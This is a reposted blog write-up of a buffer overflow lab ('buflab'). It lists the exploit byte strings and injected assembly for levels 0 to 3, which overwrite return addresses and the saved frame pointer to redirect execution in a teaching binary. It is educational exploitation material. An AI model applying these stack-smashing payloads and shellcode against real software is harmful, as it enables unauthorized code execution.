buflab

Level 0: 
re-write return address with smoke()'s address '0x08048ef0' 
so exploit file should be: 
---- 
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 f0 8e 04 08 
---- 
'30' can be any byte value 

Level 1: 
re-wirte return address with fizz()'s address '0x08048e80' 
re-write argument with cookie code '0x11264556' 
---- 
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 80 8e 04 08 56 45 26 11 
---- 
'30' can be any byte value 

Level 2: 
re-write return value to the start of array 0xbfffb70c, where we put the code 
the code is described below. 

3: b8 56 45 26 11 mov $0x11264556,%eax 
8: a3 dc b0 04 08 mov %eax,0x804b0dc 
d: 68 10 8e 04 08 push $0x8048e10 
12: c3 ret 

re-write the value of global_value at 0x0804b0dc with cookie code 0x11264556 
push bang()'s (0x08048e10) address, and return to it 
---- 
b8 56 45 26 11 a3 dc b0 04 08 68 10 8e 04 08 c3 0c b7 ff bf 
---- 

Level 3: 
re-write return address to the start of vector 0xbfffb70c, where we put the code 
re-write the saved ebp with the original value 0xbfffb748 
the code is: 
3: b8 56 45 26 11 mov $0x11264556,%eax 
8: 68 9c 91 04 08 push $0x804919c 
d: c3 ret 
re-write the eax register with cookie code 0x11264556 
push the real return address, and return 
---- 
b8 56 45 26 11 68 9c 91 04 08 c3 90 48 b7 ff bf 0c b7 ff bf 
---- 

转载于:https://www.cnblogs.com/qzchenwl/archive/2010/04/15/1712921.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值